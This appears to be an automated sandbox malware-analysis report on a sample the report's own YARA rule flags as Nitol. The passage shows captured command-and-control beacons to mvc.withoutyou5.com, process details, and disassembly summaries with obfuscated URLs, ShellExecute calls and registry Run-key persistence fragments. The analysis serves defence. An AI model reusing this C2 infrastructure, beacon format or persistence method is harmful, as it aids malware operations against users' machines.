2024-09-14 16:45:01 UTC	38	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 46 67 59 49 43 42 59 63 46 6d 64 63 56 56 56 49 46 67 34 43 43 45 30 3d Data Ascii: A0TxZkW19VWhYOFgYICBYcFmdcVVVIFg4CCE0=
2024-09-14 16:45:02 UTC	570	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:45:02 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nalfNjV7HOVdijJQ80G1n4JVoGRLJyO4n%2FaUP5tJXRSZrEZHmMRX%2BMo9qYCb%2FQNXlwbhLDQEjdATkoTz%2BzYCTw6WrBELQiGHe5Yx9qY6azKsu4poRfOT6vmScYV6wBPs7MVTgPPz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d855f9d10f47-EWR alt-svc: h3=":443"; ma=86400
2024-09-14 16:45:02 UTC	46	IN	Data Raw: 32 38 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 31 31 37 2c 22 6d 65 73 73 61 67 65 22 3a 22 22 2c 22 54 61 73 6b 53 6c 65 65 70 22 3a 36 7d 0d 0a Data Ascii: 28{"Token":117,"message":"","TaskSleep":6}
2024-09-14 16:45:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	54895	172.67.72.137	443	7548	C:\Program Files (x86)\pR4cysw\lte7inN.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-14 16:45:10 UTC	311	OUT	POST /api.php/common/gettask HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 MAC: sa0q8dlc2tjup8s4h2tb1qjlku Content-Length: 38 Host: mvc.withoutyou5.com
2024-09-14 16:45:10 UTC	38	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 46 67 59 49 43 42 59 63 46 6d 64 63 56 56 56 49 46 67 34 43 54 51 3d 3d Data Ascii: A0TxZkW19VWhYOFgYICBYcFmdcVVVIFg4CTQ==
2024-09-14 16:45:12 UTC	566	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:45:11 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XdMv0LWPQUyOMhMGImvNpdjbqt3QBW3EzunEApPbQM%2FWOXQjXDnUmZRQZVrD4zmadmwbpjas07dcjPo8VjVQ5NPLyUMv%2BCvPFY7Vi1nMwl51KM5x2TE6SJBzlX3ZRKrui1z24HVo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d88ebb7b1889-EWR alt-svc: h3=":443"; ma=86400
2024-09-14 16:45:12 UTC	32	IN	Data Raw: 31 61 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 31 31 37 2c 22 6d 65 73 73 61 67 65 22 3a 22 22 7d 0d 0a Data Ascii: 1a{"Token":117,"message":""}
2024-09-14 16:45:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	54896	172.67.72.137	443	7548	C:\Program Files (x86)\pR4cysw\lte7inN.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-14 16:45:21 UTC	311	OUT	POST /api.php/common/gettask HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 MAC: sa0q8dlc2tjup8s4h2tb1qjlku Content-Length: 38 Host: mvc.withoutyou5.com
2024-09-14 16:45:21 UTC	38	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 46 67 59 49 43 42 59 63 46 6d 64 63 56 56 56 49 46 67 34 43 54 51 3d 3d Data Ascii: A0TxZkW19VWhYOFgYICBYcFmdcVVVIFg4CTQ==
2024-09-14 16:45:23 UTC	568	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:45:22 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2qkZFRwlntgksAEMOipQU1s0KnNq37%2FNQGWkSYGoNUV5YbeSdqk3cnGZyQYyVg%2FZviSFVVF3Qxay8k3hLULiRwxTrJ6LyrsyEKWy430STQ1wIhD2s7DXzyXLlRO6N4lvZcZs%2Bt6v"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d8d40e5e72a4-EWR alt-svc: h3=":443"; ma=86400
2024-09-14 16:45:23 UTC	32	IN	Data Raw: 31 61 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 31 31 37 2c 22 6d 65 73 73 61 67 65 22 3a 22 22 7d 0d 0a Data Ascii: 1a{"Token":117,"message":""}
2024-09-14 16:45:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	54897	172.67.72.137	443	7548	C:\Program Files (x86)\pR4cysw\lte7inN.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-14 16:45:30 UTC	311	OUT	POST /api.php/common/gettask HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 MAC: sa0q8dlc2tjup8s4h2tb1qjlku Content-Length: 38 Host: mvc.withoutyou5.com
2024-09-14 16:45:30 UTC	38	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 46 67 59 49 43 42 59 63 46 6d 64 63 56 56 56 49 46 67 34 43 54 51 3d 3d Data Ascii: A0TxZkW19VWhYOFgYICBYcFmdcVVVIFg4CTQ==
2024-09-14 16:45:31 UTC	566	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:45:31 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ODDCBwt3JPjTs5gvS9vnBc6fozgkcXiac5Xm9DpHHtaC5LmFGCRVpsG1Z5bDWRApijGyyNuoqdXtyagkRuHm87bRp7KfCGqzhNOo98F%2Bt%2BH9iQHORTK8G9eW6XQIqnxIpQ8ru94a"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d90b8ae7438a-EWR alt-svc: h3=":443"; ma=86400
2024-09-14 16:45:31 UTC	32	IN	Data Raw: 31 61 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 31 31 37 2c 22 6d 65 73 73 61 67 65 22 3a 22 22 7d 0d 0a Data Ascii: 1a{"Token":117,"message":""}
2024-09-14 16:45:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	54898	172.67.72.137	443	7548	C:\Program Files (x86)\pR4cysw\lte7inN.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-14 16:45:37 UTC	311	OUT	POST /api.php/common/gettask HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 MAC: sa0q8dlc2tjup8s4h2tb1qjlku Content-Length: 38 Host: mvc.withoutyou5.com
2024-09-14 16:45:37 UTC	38	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 46 67 59 49 43 42 59 63 46 6d 64 63 56 56 56 49 46 67 34 43 54 51 3d 3d Data Ascii: A0TxZkW19VWhYOFgYICBYcFmdcVVVIFg4CTQ==
2024-09-14 16:45:38 UTC	566	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:45:38 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PWtSbfLq8DT05Pd8TZGq7lugd9onDcKW3upL0wxENJ2jnM5LRp4TjY6D36FZc48%2BtNockrifYQrZf0JfZLGWtpY0yaWDTl6PTBaeKuX%2FZDKGj8aNoRKgPE44B3YzOwIUjj9dR5rM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d9385b765e5f-EWR alt-svc: h3=":443"; ma=86400
2024-09-14 16:45:38 UTC	32	IN	Data Raw: 31 61 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 31 31 37 2c 22 6d 65 73 73 61 67 65 22 3a 22 22 7d 0d 0a Data Ascii: 1a{"Token":117,"message":""}
2024-09-14 16:45:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	54899	172.67.72.137	443	7548	C:\Program Files (x86)\pR4cysw\lte7inN.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-14 16:45:44 UTC	311	OUT	POST /api.php/common/gettask HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 MAC: sa0q8dlc2tjup8s4h2tb1qjlku Content-Length: 38 Host: mvc.withoutyou5.com
2024-09-14 16:45:44 UTC	38	OUT	Data Raw: 41 30 54 78 5a 6b 57 31 39 56 57 68 59 4f 46 67 59 49 43 42 59 63 46 6d 64 63 56 56 56 49 46 67 34 43 54 51 3d 3d Data Ascii: A0TxZkW19VWhYOFgYICBYcFmdcVVVIFg4CTQ==
2024-09-14 16:45:44 UTC	574	IN	HTTP/1.1 200 OK Date: Sat, 14 Sep 2024 16:45:44 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BdyiCMdJ54j8XkwxDM2lkwwIIe91foktQXhVn8mon5ADowUD%2FD8vQJT%2Bis2xqpuBuOXuNT6Mmf4u5AxQjExE%2F8gNOqNMG6u9tD0gAzCc4RPkadARF0jn8%2BYYJfT%2F3vcrJafd2kVx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c31d95f9afe0c8e-EWR alt-svc: h3=":443"; ma=86400
2024-09-14 16:45:44 UTC	32	IN	Data Raw: 31 61 0d 0a 7b 22 54 6f 6b 65 6e 22 3a 31 31 37 2c 22 6d 65 73 73 61 67 65 22 3a 22 22 7d 0d 0a Data Ascii: 1a{"Token":117,"message":""}
2024-09-14 16:45:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	5
Start time:	12:42:47
Start date:	14/09/2024
Path:	C:\Users\user\Desktop\3Kel6xErOk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\3Kel6xErOk.exe"
Imagebase:	0x400000
File size:	3'226'624 bytes
MD5 hash:	4C78207E0EB0DFE35135ED10641C2546
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:42:48
Start date:	14/09/2024
Path:	C:\Windows\System32\OpenWith.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\OpenWith.exe -Embedding
Imagebase:	0x7ff6895d0000
File size:	123'984 bytes
MD5 hash:	E4A834784FA08C17D47A1E72429C5109
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	14:07:46
Start date:	14/09/2024
Path:	C:\Program Files (x86)\pR4cysw\lte7inN.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\pR4cysw\lte7inN.exe"
Imagebase:	0x400000
File size:	6'453'568 bytes
MD5 hash:	C8E8EEAF5464AF1A188B3DC12C890813
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Nitol, Description: Yara detected Nitol, Source: 00000010.00000002.3137799741.0000000010064000.00000002.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Nitol, Description: Yara detected Nitol, Source: 00000010.00000002.3137201398.0000000002F49000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Nitol, Description: Yara detected Nitol, Source: 00000010.00000002.3137330090.00000000031F9000.00000040.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	14:07:56
Start date:	14/09/2024
Path:	C:\Program Files (x86)\pR4cysw\lte7inN.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\pR4cysw\lte7inN.exe"
Imagebase:	0x400000
File size:	6'453'568 bytes
MD5 hash:	C8E8EEAF5464AF1A188B3DC12C890813
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	14:08:04
Start date:	14/09/2024
Path:	C:\Program Files (x86)\pR4cysw\lte7inN.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\pR4cysw\lte7inN.exe"
Imagebase:	0x400000
File size:	6'453'568 bytes
MD5 hash:	C8E8EEAF5464AF1A188B3DC12C890813
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	76.6%
Signature Coverage:	17.8%
Total number of Nodes:	1184
Total number of Limit Nodes:	3

Executed Functions

Function 032A0031 Relevance: 70.8, APIs: 2, Strings: 38, Instructions: 811memoryCOMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 032A04A2
VirtualAlloc.KERNEL32(?,?,00003000,00000004), ref: 032A04D2

Strings

ucti, xrefs: 032A01BD
tu, xrefs: 032A0136
p, xrefs: 032A00F6
Cach, xrefs: 032A01F9
ushI, xrefs: 032A019A
ee, xrefs: 032A00EF
Li, xrefs: 032A010B
o, xrefs: 032A01C8
Rt, xrefs: 032A0232
Syst, xrefs: 032A0218
iv, xrefs: 032A0211
tu, xrefs: 032A0165
F, xrefs: 032A018B
A, xrefs: 032A0243
Via, xrefs: 032A0311
b, xrefs: 032A0286
mI, xrefs: 032A0220
fo, xrefs: 032A022B
Fu, xrefs: 032A0259
tNat, xrefs: 032A0209
a, xrefs: 032A011B
oc, xrefs: 032A0153
a, xrefs: 032A0102
b, xrefs: 032A0112
G, xrefs: 032A0204
S, xrefs: 032A00E6
Vi, xrefs: 032A012B
st, xrefs: 032A01AC
A, xrefs: 032A0146
ctio, xrefs: 032A026A
Lo, xrefs: 032A00FB
a, xrefs: 032A013D
otec, xrefs: 032A017E
Ta, xrefs: 032A027C
a, xrefs: 032A016C
yA, xrefs: 032A0124
P, xrefs: 032A0175
t, xrefs: 032A0186

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: AllocInfoNativeSystemVirtual
String ID: A$A$Cach$F$Fu$G$Li$Lo$P$Rt$S$Syst$Ta$Vi$Via$a$a$a$a$b$b$ctio$ee$fo$iv$mI$o$oc$otec$p$st$t$tNat$tu$tu$ucti$ushI$yA
API String ID: 2032221330-2899676511
Opcode ID: 15b3c3a1d8b5dafea4a93bb4805a509b4eeb6b1eaca912e0ae13e9403863b76d
Instruction ID: a2734b5d112c52d539b9dd32e65e7a507d2bfc012fe093d281cb25b5f0dea563
Opcode Fuzzy Hash: 15b3c3a1d8b5dafea4a93bb4805a509b4eeb6b1eaca912e0ae13e9403863b76d
Instruction Fuzzy Hash: 41628B715197868FE720CF28C840BABF7E5BF84704F08896DE9C987251E770E989CB56

Function 0041E1FA Relevance: 28.3, APIs: 8, Strings: 8, Instructions: 316
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteA.SHELL32(00000000,rshq,xk>33wixperkyekiCperkAgpewwmg1~l1gr,00000000,00000000,00000001), ref: 0041E238
CreateThread.KERNEL32(00000000,00000000,?,00016B48,00000000,00000000), ref: 0041E284
VirtualAlloc.KERNEL32(00000000,000000FF,00001000,00000004), ref: 0041E3D6

Strings

rshq, xrefs: 0041E232, 0041E235
kernelbase.dll, xrefs: 0041E39C, 0041E3A2
xk>33wixperkyekiCperkAgpewwmg1~l1gr, xrefs: 0041E20E
#, xrefs: 0041E205
yD!, xrefs: 0041E42D, 0041E433
", xrefs: 0041E564
lxxt>33{if2eh<;l=6n2gsq383psrk2fqt, xrefs: 0041E56D
wininet, xrefs: 0041E462, 0041E465

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: AllocCreateExecuteShellThreadVirtual
String ID: yD!$"$#$kernelbase.dll$lxxt>33{if2eh<;l=6n2gsq383psrk2fqt$rshq$wininet$xk>33wixperkyekiCperkAgpewwmg1~l1gr
API String ID: 380106677-79321514
Opcode ID: 7b2305ac27b0bf7bd17b8bca2d7d1cb14ef7a083856010624938b9149b1156db
Instruction ID: 3b7a38687a1feb7fdd65be4f06587d85e4f65f0707ea182a4fd5b396a62684c9
Opcode Fuzzy Hash: 7b2305ac27b0bf7bd17b8bca2d7d1cb14ef7a083856010624938b9149b1156db
Instruction Fuzzy Hash: A7E18A74D04298DFEB21CBA4CC45BDEBBB5AF19308F1441C9E6487B282C7B91A85CF65

Function 10008BDA Relevance: 4.9, APIs: 3, Instructions: 395
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10007E17: SetFilePointer.KERNEL32(FA83E855,00000000,00000000,00000002,10007FCD,?,00000000,?,?,?,10008124,?,00000140,00000000,00000000), ref: 10007E43

__fassign.LIBCMT ref: 10008E09
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 10008F6E
LocalFileTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 10008F9A

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: FileTime$LocalPointerSystem__fassign
String ID:
API String ID: 3768451866-0
Opcode ID: 2c01bfec7761bf5d832e9a1abb6f6480b5ac142eaf9757bfbde94cad020ba0ab
Instruction ID: 557576cbc3803644095bf150e3d73ac2e181a1a26de8671f3226a8038d31e2d8
Opcode Fuzzy Hash: 2c01bfec7761bf5d832e9a1abb6f6480b5ac142eaf9757bfbde94cad020ba0ab
Instruction Fuzzy Hash: 56F1E171A046699BEB64CF24C8847D9BBF0FF18380F1046EAE899D7285D735AB85CF50

Function 100064E1 Relevance: .7, Instructions: 662COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 236fcac6909d5ac101f5923424f6bd85ee021b03b22395ccb9aee7a78b155344
Instruction ID: 58baf52ab414309b9a3ea0f61b752d29b463db910e412ab107bc22ed908344b9
Opcode Fuzzy Hash: 236fcac6909d5ac101f5923424f6bd85ee021b03b22395ccb9aee7a78b155344
Instruction Fuzzy Hash: F2521B71D00215DFDB54CF98C9946ADBBF2FF08355F2081AAE855AB749D730AA90CF90

Function 100039A3 Relevance: 207.9, APIs: 71, Strings: 47, Instructions: 1399
sleepregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 10003B3C
Sleep.KERNEL32(00000001), ref: 10003B63
_memset.LIBCMT ref: 10003C95
Sleep.KERNEL32(00000001), ref: 10003CB6
_memset.LIBCMT ref: 10003DE6
__time64.LIBCMT ref: 10003E06
_memset.LIBCMT ref: 10003E29
_rand.LIBCMT ref: 10003E31
_rand.LIBCMT ref: 10003E4B
_memset.LIBCMT ref: 10003EC9
wsprintfA.USER32 ref: 10003EEE
_memset.LIBCMT ref: 10003F05
Sleep.KERNEL32(00000001), ref: 10003F36
_memset.LIBCMT ref: 10003F49
wsprintfA.USER32 ref: 10003F66
_memset.LIBCMT ref: 10003FB5
wsprintfA.USER32 ref: 10003FDB
_memset.LIBCMT ref: 10003FF6
Sleep.KERNEL32(00000001), ref: 10004015
_memset.LIBCMT ref: 10004047
wsprintfA.USER32 ref: 10004068
_memset.LIBCMT ref: 1000407F
Sleep.KERNEL32(00000001), ref: 1000409E
_memset.LIBCMT ref: 100040CB
wsprintfA.USER32 ref: 100040EC
_memset.LIBCMT ref: 10004103

Part of subcall function 100028B9: _memset.LIBCMT ref: 10002908
Part of subcall function 100028B9: _memset.LIBCMT ref: 1000291A
Part of subcall function 100028B9: _memset.LIBCMT ref: 10002929

Sleep.KERNEL32(000003F2), ref: 1000416B
Sleep.KERNEL32(000003F2), ref: 100041A8
Sleep.KERNEL32(000003F2), ref: 100041E5
__time64.LIBCMT ref: 100041F3
_memset.LIBCMT ref: 10004211
_rand.LIBCMT ref: 1000421B
_memset.LIBCMT ref: 1000424A
_memset.LIBCMT ref: 100042A8

Part of subcall function 1000A063: __EH_prolog3_GS.LIBCMT ref: 1000A06D
Part of subcall function 1000A063: wsprintfA.USER32 ref: 1000A0FC
Part of subcall function 1000A063: OutputDebugStringA.KERNEL32(?,?,?,?,?,?,10017380,000000FF), ref: 1000A435

Part of subcall function 10002E6F: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 10002E8B
Part of subcall function 10002E6F: GetFileSize.KERNEL32(00000000,00000000), ref: 10002E96
Part of subcall function 10002E6F: ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 10002EB1

Sleep.KERNEL32(00000001), ref: 100043C8
Sleep.KERNEL32(00000320), ref: 100043CF
_memset.LIBCMT ref: 100043E9
_mbstowcs.LIBCMT ref: 10004406

Part of subcall function 1000AFBD: __mbstowcs_l_helper.LIBCMT ref: 1000AFDD

_memset.LIBCMT ref: 10004427
_memset.LIBCMT ref: 1000444E
_strcat_s.LIBCMT ref: 1000446B
FindWindowExA.USER32(00000000,00000000,?,00000000), ref: 1000447E
Sleep.KERNEL32(?,?,?,?,?,?,?,?,00000000,000000FB), ref: 100044AB
GlobalAddAtomA.KERNEL32(?), ref: 100046A1
_memset.LIBCMT ref: 1000471A
_memset.LIBCMT ref: 10004797
_memset.LIBCMT ref: 100047FA

Part of subcall function 100018EA: OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 10001BCD
Part of subcall function 100018EA: OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 10001BEB
Part of subcall function 100018EA: CloseHandle.KERNEL32(?), ref: 10001BF8
Part of subcall function 100018EA: OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 10001E65
Part of subcall function 100018EA: OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 10001E83
Part of subcall function 100018EA: CloseHandle.KERNEL32(?), ref: 10001E90
Part of subcall function 100018EA: OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 100020FD
Part of subcall function 100018EA: OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 1000211B
Part of subcall function 100018EA: CloseHandle.KERNEL32(?), ref: 10002128

Part of subcall function 10002388: __EH_prolog3_GS.LIBCMT ref: 10002392
Part of subcall function 10002388: CoInitializeEx.COMBASE(00000000,00000000), ref: 1000239B
Part of subcall function 10002388: CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 100023AD
Part of subcall function 10002388: CoCreateInstance.COMBASE(100184F0,00000000,00000001,100182E0,?), ref: 100023C7
Part of subcall function 10002388: VariantInit.OLEAUT32(?), ref: 100023D4
Part of subcall function 10002388: VariantInit.OLEAUT32(?), ref: 100023F4
Part of subcall function 10002388: VariantInit.OLEAUT32(?), ref: 10002411
Part of subcall function 10002388: VariantInit.OLEAUT32(?), ref: 1000242E

_memset.LIBCMT ref: 10004B66
LoadLibraryA.KERNEL32(?,?,00000000,000000F3), ref: 10004B76
_memset.LIBCMT ref: 10004BB7
GetProcAddress.KERNEL32(00000000,?), ref: 10004BC8
_memset.LIBCMT ref: 10004BF4
ShellExecuteA.SHELL32(00000000,?,?,00000000,00000000,00000005,?,00000000,000000FA,?,?,?,?,00000000,000000F1), ref: 10004C11
Sleep.KERNEL32(000003E8,?,?,?,?,00000000,000000F1), ref: 10004C1E

Part of subcall function 100031C7: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 100031EE
Part of subcall function 100031C7: _strrchr.LIBCMT ref: 100031FD

Sleep.KERNEL32(00000001,?,?,?,?,00000000,000000F1), ref: 10004C27

Part of subcall function 1000BCAF: _doexit.LIBCMT ref: 1000BCBB

RegOpenKeyExA.KERNEL32(80000001,1001A800,00000000,000F003F,?), ref: 10004C48
RegSetValueExA.KERNEL32(?,1001A830,00000000,00000001,?,?,?,?,?,?,00000000,000000F1), ref: 10004C7A
RegCloseKey.ADVAPI32(?,?,?,?,?,00000000,000000F1), ref: 10004C86
Sleep.KERNEL32(000003E8), ref: 10004C9C

Strings

2.l, xrefs: 10004764
lExe, xrefs: 10004B97
xe, xrefs: 100042D3
Shel, xrefs: 10004B45
dows\Curr, xrefs: 100048A4
dll, xrefs: 10004B5B
un" /v de, xrefs: 100048EC
iles, xrefs: 10003EA1
G_SZ /d ", xrefs: 1000491D
g.e, xrefs: 100047C7
Open, xrefs: 10004BE2
am F, xrefs: 10003E96
text/, xrefs: 10004339
TWARE\Mic, xrefs: 1000485B
lalala123%, xrefs: 1000431E
Shel, xrefs: 10004B8C
tmp, xrefs: 10003FA3
A, xrefs: 10004BAD
%s%s, xrefs: 10003FCD, 10003FD9, 10004066, 100040EA
entVe, xrefs: 100048BD
le:///, xrefs: 10004A01
rogr, xrefs: 10003E8B
mo /t RE, xrefs: 10004905
6)\, xrefs: 10003EB7
Q36, xrefs: 1000441C
.exe, xrefs: 10004283
d "HK, xrefs: 1000482A
ft\Win, xrefs: 1000488B
(x8, xrefs: 10003EAC
CU\SOF, xrefs: 10004842
cute, xrefs: 10004BA2
cef.dll, xrefs: 10003F83
%s.e, xrefs: 100042C8
rsion\R, xrefs: 100048D5
roso, xrefs: 10004874
BkSha, xrefs: 10004A43
tmp, xrefs: 100040B9
t3d., xrefs: 10003F98
t5d., xrefs: 100040AE
%s%s, xrefs: 10004278
l32., xrefs: 10004B50
tmp, xrefs: 10004035
C:\P, xrefs: 10003E80
long, xrefs: 10004137, 1000413E
0SafeMonClass, xrefs: 1000442C
dowWndClass, xrefs: 10004A65
t4d., xrefs: 1000402A

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

